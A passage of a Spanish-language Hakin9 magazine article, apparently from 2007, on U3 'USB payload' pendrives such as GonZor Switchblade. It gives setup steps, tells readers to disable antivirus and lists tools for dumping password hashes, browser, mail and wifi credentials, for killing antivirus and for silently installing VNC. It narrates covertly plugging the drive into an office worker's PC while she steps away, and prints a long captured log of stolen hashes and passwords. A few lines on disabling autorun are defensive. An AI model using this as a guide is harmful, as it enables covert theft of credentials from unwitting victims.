resolver problemas de conectividad, etc.<br />

70 www.<strong>hakin9</strong>.org/es<br />

Las herramientas de auditoría y<br />

enumeración que se incluyen en<br />

las distribuciones del tipo USB<br />

payload no son nada nuevo,<br />

en todo caso actualizaciones.<br />

Lo novedoso de este sistema,<br />

por lo tanto no es el contenido,<br />

sino la forma de empaquetarlo<br />

utilizando un pendrive USB que,<br />

simplemente al introducirlo,<br />

y sin ninguna interacción del<br />

usuario, extrae muchísima<br />

información importante del<br />

equipo de la víctima.<br />

Todo el contenido de las distribuciones<br />

standard USB payload no es cien por cien<br />

operativo, pero su potencia consiste en las<br />

posibilidades de personalización y actualización.<br />

Si encuentro otras herramientas<br />

más potentes, exploits nuevos, scripts mejorados,<br />

etc, pues las copio en mi pendrive y<br />

las introduzco en los scripts de arranque.<br />

En este artículo aprenderás<br />

• Las diferentes distribuciones USB payload<br />

que puedes encontrar y las herramientas<br />

que incluyen.<br />

• El uso de esta nueva técnica y sus posibilidades.<br />

• La forma de personalizarlas o mejorarlas.<br />

Lo que deberías saber<br />

• Saber utilizar algunas herramientas de hacking<br />

avanzado.<br />

• Creación y edición de archivos de procesos por<br />

lotes o batch.<br />

• Como desactivar tu antivirus, ya que de otra<br />

forma no vas a poder trabajar.


Figura 1. SwitchBlade Logo<br />

Existen múltiples distribuciones del<br />

tipo USB payload, y no todas ellas<br />

precisan del standard U3:<br />

• otras simplemente se basan en<br />

la ingeniería social para solicitar<br />

o inducir al usuario a cliquear con<br />

el ratón sobre su icono.<br />

Algunas versiones de estos payloads<br />

incorporan la funcionalidad de, no<br />

solo guardar la información extraída<br />

en una carpeta, sino además enviarla<br />

a nuestra página web o a una<br />

dirección de correo electrónico.<br />

Para evaluar la peligrosidad de<br />

esta herramienta, imagino estar<br />

en la oficina objetivo de mi ataque<br />

frente a una señorita que me está<br />

atendiendo con un sistema basado<br />

en Windows (desgraciadamente<br />

para la victima).<br />

La señorita se levanta para buscar<br />

unos papeles o consultar con su<br />

superior; veo la CPU (la torre, como<br />

la suelen llamar) sobre la mesa con<br />

cuatro preciosos puertos USB frente<br />

a mí.<br />

No puedo resistirme, e introduzco<br />

mi pendrive en uno de ellos; espero<br />

unos segundos; veo parpadear<br />

su luz... y... ¡Bingo! De nuevo la luz<br />

del pendrive parpadea durante unos<br />

veinte segundos hasta que para.<br />

La extraigo con rapidez. Tengo<br />

todo lo que necesito. Y, ¿que tengo?<br />

Lo veremos en la sección de herramientas<br />

incluidas.<br />

De la misma manera que negativa,<br />

el uso de estas tecnologías<br />

invisibles de ejecución de procesos,<br />

puede ser también positiva en<br />

muchos aspectos.<br />

Empresas como GadgetTrak<br />

utilizan estas técnicas para localizar<br />

un equipo (PC, pda, ipod, teléfono<br />

móvil, etc...) en su ubicación<br />

ilegal tras haberse perdido o robado.<br />

Ya varias empresas trabajan<br />

en estas tecnologías con ese fin.<br />

Distribuciones<br />

conocidas<br />

Incorporan las distribuciones USB<br />

payload es en definitiva un peligroso<br />

arsenal de Max Damage Technique:<br />

• Amish Technique<br />

• Kapowdude technique<br />

• Silivrenions Technique<br />

• Spektormax combo<br />

• Hackblade<br />

• GonZor Switchblade<br />

• Otros updates y híbridos<br />

El standard U3<br />

Como ocurre habitualmente con los<br />

nuevos desarrollos en la informática,<br />

la intención es buena, pero el<br />

producto se convierte en un grave<br />

problema de seguridad.<br />

La intención en este caso, consistía<br />

en desarrollar un standard<br />

para las unidades de almacenamiento<br />

USB o pendrives, consiguiendo<br />

almacenar en ellas todo tipo de software<br />

que pudiera ser portable.<br />

Estos programas no tendrían<br />

necesidad de ser instalados y su<br />

configuración sería reseteada al<br />

reiniciar, o al extraer el pendrive a<br />

su configuración original. Todo ello<br />

sería funcional en Windows, claro<br />

está, aunque también existen ya<br />

controladores para Mac.<br />

U3 está compuesto por la suma<br />

comercial de Sandisk y M-Systems,<br />

por lo que es un standard propietario<br />

y comercial formado en 2005. El<br />

nombre proviene de la suma de los<br />

tres conceptos propuestos para su<br />

eslogan: Simplified for U, Smarter<br />

about U y As mobile as U: las tres<br />

U (U3).<br />

Las aplicaciones que se ejecutan<br />

desde el pendrive pueden escribir<br />

configuraciones y cambios en el<br />

registro de Windows pero el Launchpad<br />

(ejecutador) deberá borrarlas<br />

por normativa al desconectar el<br />

pendrive.<br />

El U3 Launchpad es un programa<br />

desarrollado por esta empresa<br />

como menú de inicio de estas aplicaciones<br />

instaladas.<br />

Se pueden instalar otros muchos<br />

programas a descargar mediante<br />

registro en la página Web de U3.com<br />

www.<strong>hakin9</strong>.org/es<br />

USB Payload<br />

que se ejecutan directamente desde<br />

el pendrive. Hay muchos fabricantes<br />

de software que colaboran con utilidades<br />

y programas como Skype,<br />

Firefox, Winrar, Avast, OpenOffice,<br />

etc... Algunos de ellos son de pago<br />

pero la gran mayoría son gratuitos.<br />

Por eso, comprar una unidad U3 es<br />

muy rentable, no solo por el payload.<br />

Hay miles de utilidades ya incorporadas<br />

a este producto, los fabricantes y<br />

desarrolladores ven en este sistema<br />

un filón de oro.<br />

Pero, ¿qué utilidad puede tener<br />

esto? Pues por ejemplo cuando<br />

vamos de viaje podemos llevarnos<br />

nuestros programas y archivos de<br />

datos con nosotros a cualquier ciber<br />

de cualquier lugar.<br />

Podemos ejecutar nuestros programas<br />

preferidos (skype, messenger,<br />

emule, Office...) sin necesidad<br />

de instalarlos, y acceder a nuestros<br />

datos (documentos, fotos, música,<br />

vídeos, agenda...). Esto es lo que se<br />

llama movilidad.<br />

Al insertar un pendrive en un<br />

PC con Windows, éste emula una<br />

unidad de CDROM tipo ISO-9660 de<br />

solo lectura, donde residen el autorun<br />

y el programa Launchpad en una<br />

partición virtual del pendrive.<br />

Además crea disco extraíble tipo<br />

FAT en el resto del pendrive con una<br />

carpeta SYSTEM oculta donde se<br />

encuentran todas las aplicaciones<br />

U3 instaladas en un formato propietario.<br />

Por lo tanto se crean dos unidades<br />

cuando insertamos el pendrive,<br />

una de ellas la detecta Windows como<br />

un disco óptico y la otra como un<br />

disco extraíble.<br />

Figura 2. Logotipo del standard U3<br />

71


kit<br />

Hay una serie de fabricantes que<br />

incorporan desde hace algún tiempo<br />

modelos de pendrives compatibles<br />

U3, como Sandisk en su modelo<br />

Cruzar o Memorex con su modelo<br />

MiniTravelDrive.<br />

Solo hay que fijarse en que<br />

incorporen el logotipo U3. El precio<br />

suele ser bastante asequible,<br />

un poco superior a los pendrives<br />

convencionales. Se ha firmado un<br />

acuerdo entre Sandisk y Microsoft<br />

para actualizar este standard hacia<br />

otro nuevo, dominado como siempre<br />

por Microsoft. Se vuelve a monopolizar<br />

un producto que está dando<br />

buenos pasos.<br />

Hay una serie de alternativas a<br />

U3. Una de ellas es bastante buena,<br />

y se llama MojoPac de RingCube,<br />

que ofrece versiones libres (muy<br />

funcionales) y de pago.<br />

Al introducir un disco duro extraíble,<br />

un pendrive USB, un teléfono<br />

móvil o un iPod de Apple con este<br />

software instalado podemos tener<br />

todo nuestro entorno Windows preferido<br />

(programas, juegos, email,<br />

cuentas, contraseñas, agendas,<br />

etc...) en cualquier lugar, siempre<br />

que tenga Windows instalado.<br />

Seguridad en<br />

Windows. Autorun<br />

El principal riesgo de este sistema<br />

es el de siempre: la reproducción<br />

automática de Windows, que por<br />

supuesto todos los administradores<br />

responsables han desactivado ya.<br />

Figura 3. El verdadero menú de U3<br />

Lauchpad<br />

Pero no termina aquí, ya que sin tenerla<br />

activada, si se hace click con el<br />

ratón sobre una unidad que tenga un<br />

archivo autorun.inf en su raíz, igualmente<br />

ejecutamos el contenido del<br />

mismo sin saber lo que esconde.<br />

Esto es un gran fallo de seguridad<br />

igualmente, ya que pensamos<br />

que dando doble click vamos a explorar<br />

el contenido de esta unidad<br />

pero por defecto suele esta activada<br />

la opción de ejecutar.<br />

Para desactivar la función<br />

autorun de una unidad extraíble<br />

debemos modificar el registro de Windows.<br />

Para ello utilizaremos la utilidad<br />

regedit.exe o regedt32.exe. Debemos<br />

localizar la clave:HKEY _ LOCAL _<br />

MACHINE\System\CurrentControlSet\<br />

Services\CDRom y cambiar el valor<br />

de Autorun a 0. Desde GonZor<br />

payload también tenemos el botón<br />

Turn U3 Launchpad On/Of que<br />

hace la misma función de forma<br />

sencilla.<br />

En redes corporativas basadas<br />

en Windows, la mejor solución es<br />

desactivar todas estas prácticas mediante<br />

políticas de grupo (grouppolicies)<br />

e incluso desactivar el uso de<br />

unidades extraíbles en los clientes.<br />

Desde la salida de Windows XP<br />

SP2 se desactivó por seguridad<br />

el sistema autorun, en unidades<br />

extraíbles que no fueran del tipo<br />

CDROM.<br />

También se han detectado una<br />

serie de incompatibilidades y vulnerabilidades<br />

con controladores de<br />

software de grabación de CD, que<br />

hacen que el equipo llegue a bloquearse<br />

completamente.<br />

En teoría, el sistema del Launchpad<br />

no puede ser desinstalado por<br />

un usuario convencional (no como<br />

nosotros), por lo que el que compre<br />

un pendrive con U3 lo tiene de por<br />

vida aunque se canse de él y quiera<br />

tener un pendrive normal y corriente,<br />

eso no gusta a muchos usuarios.<br />

Por otra parte al ejecutarlo por<br />

primera vez en un equipo con Windows<br />

se instala una aplicación en el<br />

Windows que no puede ser desinstalada<br />

por éste.<br />

El hecho mismo de que un<br />

usuario pueda llevar a su puesto de<br />

72 www.<strong>hakin9</strong>.org/es<br />

trabajo, en un dispositivo del tamaño<br />

de un mechero programas no autorizados<br />

o aceptados por las políticas<br />

de la empresa, ya crea para los<br />

administradores un gran riesgo de<br />

seguridad fuera de su control.<br />

Este sistema de robo de información<br />

privilegiada ya existe desde<br />

hace mucho tiempo, en una época<br />

se conoció como IpodSlurping, ya<br />

que con dispositivos USB como<br />

iPod de Apple se podía robar información<br />

de la empresa sin riesgo de<br />

sospecha.<br />

Otro contradictorio riesgo de seguridad<br />

en Windows es, que el usuario<br />

del PC suele ser administrador<br />

del mismo, debido a los problemas<br />

e incompatibilidades de muchos<br />

programas para correr sin privilegios<br />

de administrador. Por ello, si se<br />

limita al usuario en esto, es menor la<br />

cantidad de información que se puede<br />

robar con el payload, pero si es<br />

administrador, se saca de todo.<br />

GonZor Payload<br />

La distribución que más me gusta<br />

por su simplicidad y contenido es<br />

la de GonZor Switchblade en su<br />

versión 2.<br />

Esta, además de ser muy sencilla<br />

de instalar, incorpora casi todas<br />

las herramientas necesarias para<br />

extraer casi toda la información relevante<br />

de una cuenta de usuario.<br />

GonZor incorpora prácticamente<br />

toda la colección de herramientas<br />

que tratamos aquí, pero con la ventaja<br />

de utilizar su propio configurador<br />

gráfico que de forma cómoda modifica<br />

el script de ataque para nosotros,<br />

activando y desactivando cualquier<br />

herramienta e incluso el propio<br />

payload, además de configurar las<br />

cuentas de correo y direcciones necesarias<br />

para los envíos de información<br />

y conexiones. Esto demuestra<br />

un gran esfuerzo en su diseño.<br />

Como defecto, considero que<br />

el GonZor tiene el problema de no<br />

ser demasiado stealth (invisible)<br />

al usuario, ya que nos muestra al<br />

ejecutarlo hasta su logo. Esto hay<br />

que evitarlo, aunque sé que ya está<br />

trabajando en una nueva versión.<br />

Estamos esperando impacientes.


Figura 4. Unidades detectadas por<br />

Windows<br />

Instrucciones para instalar<br />

GonZor Switchblade<br />

• Descarga de los links indicados<br />

al final el GonZor Switchblade y<br />

el Universal Customizer.<br />

• Extrae el Universal Customizer<br />

donde te venga bien.<br />

• Extra el U3CUSTOM.ISO descargado<br />

de GonZor, a la carpeta<br />

BIN dentro del Universal Customizer.<br />

• Ejecuta el Universal Customizer.<br />

No olvides desactivar el antivirus.<br />

• Extrae el archivo SBConfig.exe<br />

descargado de GonZor a la unidad<br />

extraíble del pendrive.<br />

• Ejecuta SBConfig.exe y configura<br />

las opciones a tus necesidades.<br />

Desactiva las herramientas dañinas<br />

para tí. Y no olvides descargar<br />

de la página de herramientas<br />

el antídoto y el backup y restore.<br />

Te harán falta.<br />

Universal Customizer.<br />

La otra gran estrella<br />

Algunos programadores, aprovechándose<br />

de este sistema nos<br />

permiten customizar los pendrive<br />

de este tipo, con programas como<br />

Figura 5. Algunos pendrive tipo U3<br />

el Universal Customizer del que ya<br />

hablaremos en los siguientes párrafos.<br />

La forma más sencilla de grabar<br />

las distribuciones basadas en<br />

U3 es el Universal Customizer. Este<br />

programa creado por U3Hacker<br />

posee una gran interface gráfica,<br />

muy sencilla de utilizar que permite<br />

grabar una distribución payload<br />

descargada en formato ISO a un<br />

pendrive U3 con gran éxito. De esta<br />

manera se puede modificar la ISO<br />

mediante winrar, winiso o cualquier<br />

otra aplicación de edición de ISO,<br />

para personalizarla a nuestro gusto.<br />

Este proyecto también se aloja y<br />

soporta en la página de Hak5.org.<br />

Antes de grabar el nuevo payload<br />

en el pendrive hace automáticamente<br />

una copia de seguridad del<br />

Launcher original, para evitar perder<br />

sus propiedades y garantía, si<br />

deseamos restaurarlo a su estado<br />

de fábrica. Muy profesional.<br />

Contenido de USB<br />

payload – Herramientas<br />

Lo que incorporan las distribuciones<br />

USB payload es, en definitiva, un<br />

peligroso arsenal de herramientas<br />

de enumeración de sistemas y de<br />

seguridad. Todas ellas parametrizables<br />

y actualizables a nuestro antojo<br />

y conocimiento, debiendo poner<br />

especial atención a las opciones y<br />

modificadores de cada una de ellas:<br />

o sea aprendiendo a utilizarlas a fondo.<br />

Puedes descargar todas estas<br />

herramientas en el link de SwitchBlade<br />

en Hak5.org.<br />

Dependiendo de la distribución<br />

se introducen unas u otras herra-<br />

www.<strong>hakin9</strong>.org/es<br />

USB Payload<br />

73


kit<br />

Figura 6. Configurador de GonZor<br />

payload<br />

mientas; yo, simplemente voy a pasar<br />

a enumerarlas todas:<br />

• go.cmd<br />

Es el batch o script de arranque<br />

y control de todas las<br />

herramientas. Para modificarlo<br />

hay que entender algo<br />

o bastante de archivos de<br />

proceso por lotes de DOS.<br />

También hay versiones que<br />

incorporan este script en<br />

VBA o compilándolo de BAT<br />

o CMD a EXE con utilidades<br />

como bat2exec, ya que los<br />

BAT o VBA son muy detectables<br />

por los antivirus.<br />

• Alternative Loader<br />

Hay cargadores alternativos al<br />

incluido en U3. Depende de si<br />

el pendrive es compatible U3<br />

o no, se utilizarán diferentes<br />

cargadores con diferentes características.<br />

• Nircommand<br />

Muy buena utilidad para ejecutar<br />

comandos en una ventana<br />

oculta de DOS o CMD.exe sin<br />

Figura 7. Universal U3 Cusmizer<br />

que se vean en Windows ni la<br />

ventana ni la referencia a ella<br />

en la barra de tareas.<br />

• AV Killer 1.2 BETA<br />

Es una herramienta que lucha<br />

con el tiempo cada vez que se<br />

actualiza y que no suele durar<br />

semanas ya que los antivirus la<br />

detectan enseguida. Su finalidad<br />

es la de detener al antivirus<br />

instalado en el PC que la ejecuta<br />

y ha tenido éxito con casi<br />

todos los antivirus durante un<br />

corto periodo. En las payloads<br />

se la renombra como crss.exe<br />

para evitar sospechas, pero<br />

aun así no suele funcionar.<br />

• Captura de IP pública tras Gateway<br />

GonZor utiliza un script muy<br />

simple para averiguar la IP pública<br />

del sistema víctima. Esta<br />

herramienta precisa de una<br />

página web con un pequeño<br />

archivo CGI copiado a ella que<br />

averigua la IP y la devuelve.<br />

• Arming/Disarming the drive<br />

Es un script para desactivar<br />

el modo autorun del equipo<br />

donde se ejecuta, para protegernos<br />

en casa de nuestra<br />

propia arma, o volver a activarlo.<br />

• Switchblade Kill Switch<br />

En GonZor hay una pestaña<br />

en el configurador para<br />

hacer lo mismo, pero de<br />

manera que desarmamos el<br />

pendrive hasta que lo vuelva<br />

a armar.<br />

• System Info<br />

Es una parte del script muy<br />

sencilla, pero necesaria, que<br />

vuelca las principales variables<br />

del sistema en Windows hacia<br />

nuestro log en el pendrive.<br />

Utiliza las variables: %computername%<br />

, %username% ,<br />

%date% , %time% ... Además<br />

de usar ipconfig para mostrar la<br />

configuración de red.<br />

• Dump SAM<br />

Extrae los hashes MD5 de<br />

contraseñas de usuarios<br />

mediante PWDump. No siempre<br />

funciona, pero cuando lo<br />

hace... Nos llevamos unos<br />

74 www.<strong>hakin9</strong>.org/es<br />

maravillosos hashes para<br />

crackearlos con tiempo y paciencia.<br />

• Product Key<br />

Nos da los códigos de serie<br />

de productos de Microsoft<br />

como Windows, Office y<br />

otros. Capturamos números<br />

de serie funcionales.<br />

• Internet Explorer Password<br />

Grabber<br />

Una buena herramienta para<br />

sacar las password que muchos<br />

usuarios incautos introducen<br />

en Internet Explorer<br />

cuando acceden a páginas<br />

con sistemas flojos de protección.<br />

Funciona incluso con<br />

IE7.<br />

• Windows Update Lister<br />

Otra herramienta interesante<br />

para planificar un ataque con<br />

tiempo y organización. Nos<br />

muestra los updates instalados<br />

en el PC con Windows.<br />

De esa manera podemos<br />

hallar las vulnerabilidades<br />

existentes en esa máquina y<br />

buscar los exploits adecuados<br />

para un buen ataque.<br />

• Network Password Dumper<br />

Utilidad para el volcado de<br />

passwords grabadas en cache,<br />

como por ejemplo las<br />

del autologon de Windows,<br />

Sobre el Autor<br />

Yago F. Hansen cuenta con máster<br />

en ingeniería de software, además de<br />

contar con más de 8 años de experiencia<br />

en tecnologías inalámbricas. Es<br />

especialista en la implementación y auditoría<br />

de redes wifi. Cuenta con amplia<br />

experiencias en motores de datos, sistemas<br />

Microsoft, Linux y Networking.<br />

Es formador y consultor en seguridad<br />

informática y métodos de penetración<br />

en redes wifi para empresas e instituciones.<br />

Finalista en el concurso IBM<br />

Leonardo DaVinci 1995, cuenta con<br />

publicaciones y artículos de informática,<br />

además de ser colaborador directo<br />

y revisor de publicaciones técnicas de<br />

la editorial Rama. Ha impartido diferentes<br />

talleres y seminarios de hacking<br />

ético y seguridad en wifi para empresas<br />

y en universidades.


Listado 1. Captura de log de GonZor switchblade<br />

Archivo: RAD-SRV-01-[20070927-105119]<br />

----------------------------------------------------------<br />

-------------------------------------------------------------------<br />

GonZors Payload [Time Started: 27/09/2007 10:51:21,90]<br />

----------------------------------------------------------<br />

-------------------------------------------------------------------<br />

Computer Name is: RAD-SRV-01 and the Logged on User Is:<br />

Administrador<br />

----------------------------------------------------------<br />

-------------------------------------------------------------------<br />

+----------------------------------+<br />

+ [System info] +<br />

+----------------------------------+<br />

Configuración IP de Windows<br />

Nombre del host . . . . . . . : rad-srv-01<br />

Sufijo DNS principal . . . . : discretisimo.com<br />

Tipo de nodo. . . . . . . . . : híbrido<br />

Enrutamiento habilitado . . . : No<br />

Proxy WINS habilitado . . . . : No<br />

Adaptador Ethernet Conexión de área local:<br />

Sufijo conexión específica DNS:<br />

Descripción . . . . . . . . . : Broadcom NetXtreme<br />

Gigabit Ethernet<br />

Dirección física. . . . . . . : 00-1A-A0-0F-F7-07<br />

DHCP habilitado . . . . . . . : No<br />

Dirección IP. . . . . . . . . : 192.168.1.1<br />

Máscara de subred . . . . . . : 255.255.255.0<br />

Puerta de enlace predet.. . . : 192.168.1.199<br />

Servidores DNS. . . . . . . . : 80.58.0.30<br />

80.58.32.33<br />

----------------------------------------------------------<br />

-------------------------------------------------------------------<br />

+----------------------------------+<br />

+ [External IP] +<br />

+----------------------------------+<br />

External IP dumped<br />

80.x.x.x<br />

----------------------------------------------------------<br />

-------------------------------------------------------------------<br />

+----------------------------------+<br />

+ [VNC] +<br />

+----------------------------------+<br />

VNC was installed silently<br />

----------------------------------------------------------<br />

-------------------------------------------------------------------<br />

+----------------------------------+<br />

+ [HakSaw] +<br />

+----------------------------------+<br />

HakSaw was installed silently<br />

----------------------------------------------------------<br />

-------------------------------------------------------------------<br />

+----------------------------------+<br />

+ [Dump Wifi Hex] +<br />

+----------------------------------+<br />

==================================================<br />

Network Name (SSID): WLAN_16<br />

Key Type : WEP<br />

Key (Hex) : 5a303031333439383133453136<br />

Key (Ascii) : Z001349813E16<br />

Adapter Name : IEEE 802.11 Wireless LAN/PC Card(5V)<br />

Adapter Guid : {7A2E64AD-321E-4ED3-8512-29C4604EB0C8}<br />

==================================================<br />

www.<strong>hakin9</strong>.org/es<br />

USB Payload<br />

==================================================<br />

Network Name (SSID): SOPWIFI96<br />

Key Type : WEP<br />

Key (Hex) : 0a0b0c0d0e0f0a0b0c0d0e0f0a<br />

Key (Ascii) :<br />

Adapter Name : IEEE 802.11 Wireless LAN/PC Card(5V)<br />

Adapter Guid : {7A2E64AD-321E-4ED3-8512-29C4604EB0C8}<br />

==================================================<br />

----------------------------------------------------------<br />

-------------------------------------------------------------------<br />

+----------------------------------+<br />

+ [Dump SAM PWDUMP] +<br />

+----------------------------------+<br />

Using pipe {4A29FB50-9610-4A7A-90EB-3E66D9C00EA1}<br />

Key length is 16<br />

Administrador:500:4BA24AA3FE36C933F7E62F36F8DB5AE6:900677E<br />

C06068E3D2D5352D5A8879993:::<br />

Invitado:501:NO PASSWORD*********************:NO PASSWORD*<br />

********************:::<br />

SUPPORT_388945a0:1001:NO PASSWORD*********************:<br />

65BE3920B03364762DC69B7E53A57058:::<br />

Completed.<br />

pwdump6 Version 1.5.0-BETA by fizzgig and the mighty group<br />

at foofus.net<br />

** THIS IS A BETA VERSION! YOU HAVE BEEN WARNED. **<br />

Copyright 2006 foofus.net<br />

----------------------------------------------------------<br />

-------------------------------------------------------------------<br />

+----------------------------------+<br />

+ [Dump SAM FGDUMP] +<br />

+----------------------------------+<br />

Starting dump on 127.0.0.1<br />

** Beginning local dump **<br />

OS (127.0.0.1): Microsoft Windows 2003 Server (Build 3790)<br />

Passwords dumped successfully<br />

-----Summary-----<br />

Failed servers:<br />

NONE<br />

Successful servers:<br />

127.0.0.1<br />

Total failed: 0<br />

Total successful: 1<br />

-----Hashes-----<br />

Administrador:500:4BA24AA3FE36C933F7E53136F8DB5AE6:900677E<br />

C06068E3D2D5352D5A8885553:::<br />

Invitado:501:NO PASSWORD*********************:NO PASSWORD*<br />

********************:::<br />

SUPPORT_388945a0:1001:NO PASSWORD*********************:<br />

65BE3920B03364762DC69B7E53A57058:::<br />

----------------------------------------------------------<br />

-------------------------------------------------------------------<br />

+----------------------------------+<br />

+ [Dump Network PW] +<br />

+----------------------------------+<br />

==================================================<br />

Item Name : Microsoft_WinInet_192.168.1.200:80/DD-<br />

WRT<br />

Type : Generic<br />

User : neinting<br />

75


kit<br />

Listado 1. Captura de log de GonZor switchblade<br />

(Continuación)<br />

Password : HOCCHULLLE<br />

Last Written : 09/12/2007 8:51:12<br />

Alias :<br />

Comment :<br />

Persist : Enterprise<br />

==================================================<br />

==================================================<br />

Item Name : Passport.Net\*<br />

Type : .NET Passport<br />

User : nifnicknaounte@hotmail.com<br />

Password : WONONMOIK<br />

Last Written : 21/04/2006 18:55:59<br />

Alias :<br />

Comment :<br />

Persist : Enterprise<br />

==================================================<br />

----------------------------------------------------------<br />

+----------------------------------+<br />

+ [Dump Mail PW] +<br />

+----------------------------------+<br />

==================================================<br />

Name : Yago Fdez. Hansen<br />

Application : Outlook Express<br />

Email : wountry@soportec.com<br />

Server : pop.soportec.com<br />

Type : POP3<br />

User : strange@soportec.com<br />

Password : abracadabra<br />

Profile :<br />

==================================================<br />

==================================================<br />

Name : Yago Fdez. Hansen<br />

Application : Outlook Express<br />

Email : wountry@soportec.com<br />

Server : stp.soportec.com<br />

Type : SMTP<br />

User :<br />

Password :<br />

Profile :<br />

==================================================<br />

==================================================<br />

Name : Yago Fdez. Hansen<br />

Application : MS Outlook<br />

Email : wountry@soportec.com<br />

Server : pop.soportec.com<br />

Type : POP3<br />

User : strange@soportec.com<br />

Password :<br />

Profile :<br />

==================================================<br />

----------------------------------------------------------<br />

-------------------------------------------------------------------<br />

+----------------------------------+<br />

+ [Dump Firefox PW] +<br />

+----------------------------------+<br />

Error : Firefox profile directory is not specified<br />

FirePassword (Ver 2.0.1) : Firefox Username & Password<br />

List Decryptor<br />

by Nagareshwar Y Talekar<br />

For latest version visit http://www.securityxploded.com.<br />

Usage :<br />

76 www.<strong>hakin9</strong>.org/es<br />

.\FirePassword.exe [-m "master password" ] [Firefox_<br />

Profile_Directory]<br />

----------------------------------------------------------<br />

-------------------------------------------------------------------<br />

+----------------------------------+<br />

+ [Dump IE PW] +<br />

+----------------------------------+<br />

==================================================<br />

Entry Name : tools.cisco.com:443/CCO WWChannels-<br />

UNIFY [22:57:20:122]<br />

Type : Password-Protected Web Site<br />

Stored In : Protected Storage<br />

User Name : naintingoungyinghow<br />

Password : hereitis<br />

==================================================<br />

----------------------------------------------------------<br />

-------------------------------------------------------------------<br />

+----------------------------------+<br />

+ [Dump messenger PW] +<br />

+----------------------------------+<br />

==================================================<br />

Software : MSN Messenger<br />

Protocol : MSN Messenger<br />

User : howareningitina@hotmail.com<br />

Password : 978fadsf865<br />

==================================================<br />

----------------------------------------------------------<br />

-------------------------------------------------------------------<br />

+----------------------------------+<br />

+ [Dump Cache] +<br />

+----------------------------------+<br />

ERROR Failed to open key SECURITY\Cache in RegOpenKeyEx.<br />

Is service running as SYSTEM ? Do<br />

you ever log on domain ? (code 0)<br />

----------------------------------------------------------<br />

-------------------------------------------------------------------<br />

+----------------------------------+<br />

+ [Dump LSA secrets] +<br />

+----------------------------------+<br />

==================================================<br />

Resource Name : IdentitiesPass<br />

Resource Type : Outlook Express Identity<br />

User Name/Value : Identidad principal<br />

Password :<br />

==================================================<br />

==================================================<br />

Resource Name : pop3.terra.esE83E9EC0<br />

Resource Type : Obsolete Outlook Account<br />

User Name/Value :<br />

Password : adfadoieg<br />

==================================================<br />

==================================================<br />

Resource Name : 192.168.0.102:80/Camara inalambrica<br />

Soportec.com<br />

Resource Type : IE: Password-Protected Sites<br />

User Name/Value : demo<br />

Password : demo<br />

==================================================<br />

==================================================<br />

Resource Name : ftp://ftp.sopear@ftp.soportec.com


Listado 1. Captura de log de GonZor switchblade<br />

(Continuación)<br />

Resource Type : IE: Password-Protected Sites<br />

User Name/Value : ftp.sopear<br />

Password : NAD986Jad<br />

==================================================<br />

==================================================<br />

Resource Name : y_name<br />

Resource Type : AutoComplete Fields<br />

User Name/Value : Yago Hansen<br />

Password :<br />

==================================================<br />

==================================================<br />

Resource Name : y_phone<br />

Resource Type : AutoComplete Fields<br />

User Name/Value : +3467345575355<br />

Password :<br />

==================================================<br />

----------------------------------------------------------<br />

+----------------------------------+<br />

+ [Dump Product Keys] +<br />

+----------------------------------+<br />

==================================================<br />

Product Name : Microsoft Windows Server 2003<br />

Product ID : 69893-012-0032322345-34342<br />

Product Key : E5RR3453-4EREBJH3-9R3345M-4V3439Q-<br />

K43M8M<br />

Computer Name : RAD-SRV-01<br />

==================================================<br />

==================================================<br />

Product Name : Internet Explorer<br />

Product ID : 69893-01R3-00003ERE-423ADF5<br />

Product Key : M6RJ9-TBJHER-9DRERM-4VZVQ-KZVZM<br />

Computer Name : RAD-SRV-01<br />

==================================================<br />

----------------------------------------------------------<br />

-------------------------------------------------------------------<br />

+----------------------------------+<br />

+ [Dump URL History] +<br />

+----------------------------------+<br />

Páginas visitadas en la semana que empez¢ el 17/09/2007<br />

Páginas visitadas en www.totse.com<br />

Páginas visitadas en 192.168.1.200<br />

Páginas visitadas en hostap.epitest.fi<br />

Páginas visitadas en www.redsofts.com<br />

Páginas visitadas en www.google.es<br />

Páginas visitadas en packetstormsecurity.org<br />

Páginas visitadas en www.rsa.com<br />

Páginas visitadas en www.dd-wrt.org<br />

Páginas visitadas en www.laperlaonline.com.ar<br />

Páginas visitadas en www.soportec.com<br />

Páginas visitadas en www.google.com<br />

Páginas visitadas en wiki.ethereal.com<br />

Páginas visitadas en www.cisco.com<br />

Páginas visitadas en www.bvsystems.com<br />

Páginas visitadas en Mi PC<br />

Páginas visitadas en 192.168.1.201<br />

Páginas visitadas en www.l0t3k.org<br />

Páginas visitadas en bytes2000.wordpress.com<br />

Páginas visitadas en en.wikipedia.org<br />

Páginas visitadas en 192.168.1.250<br />

Páginas visitadas en sourceforge.net<br />

----------------------------------------------------------<br />

www.<strong>hakin9</strong>.org/es<br />

----------------------<br />

Páginas visitadas hoy<br />

USB Payload<br />

----------------------------------------------------------<br />

-------------------------------------------------------------------<br />

+----------------------------------+<br />

+ [Dump Updates-List] +<br />

+----------------------------------+<br />

==================================================<br />

Name : ie7beta1<br />

Description :<br />

Installed By : Supervisor<br />

Installation Date : 17/03/2007<br />

Display Version : 20050725.101101<br />

Update Type : Update<br />

Operating System : Windows XP<br />

Web Link : http://support.microsoft.com/<br />

?kbid=ie7beta1<br />

Uninstall Command : C:\WINDOWS\$NtUninstallie7beta1$\<br />

spuninst\spuninst.exe<br />

==================================================<br />

==================================================<br />

Name : KB893803<br />

Description : Windows Installer 3.1 (KB893803)<br />

Installed By : Supervisor<br />

Installation Date : 08/09/2007<br />

Display Version : 3.1<br />

Update Type : Update<br />

Operating System : Windows XP<br />

Web Link : http://support.microsoft.com/<br />

?kbid=893803<br />

Uninstall Command : C:\WINDOWS\$MSI31Uninstall_KB893803$\<br />

spuninst\spuninst.exe<br />

==================================================<br />

----------------------------------------------------------<br />

-------------------------------------------------------------------<br />

+----------------------------------+<br />

+ [Network Services] +<br />

+----------------------------------+<br />

Conexiones activas<br />

Proto Direcci¢n local Direcci¢n remota<br />

Estado PID<br />

TCP 0.0.0.0:135 0.0.0.0:0<br />

LISTENING 956<br />

c:\windows\system32\WS2_32.dll<br />

C:\WINDOWS\system32\RPCRT4.dll<br />

c:\windows\system32\rpcss.dll<br />

C:\WINDOWS\system32\svchost.exe<br />

-- componentes desconocidos --<br />

[svchost.exe]<br />

TCP 0.0.0.0:445 0.0.0.0:0<br />

LISTENING 4<br />

[Sistema]<br />

TCP 127.0.0.1:5354 0.0.0.0:0<br />

LISTENING 1472<br />

[mDNSResponder.exe]<br />

TCP 192.168.1.201:139 0.0.0.0:0<br />

LISTENING 4<br />

[Sistema]<br />

77


kit<br />

Listado 1. Captura de log de GonZor switchblade<br />

(Continuación)<br />

TCP 127.0.0.1:2288 127.0.0.1:445<br />

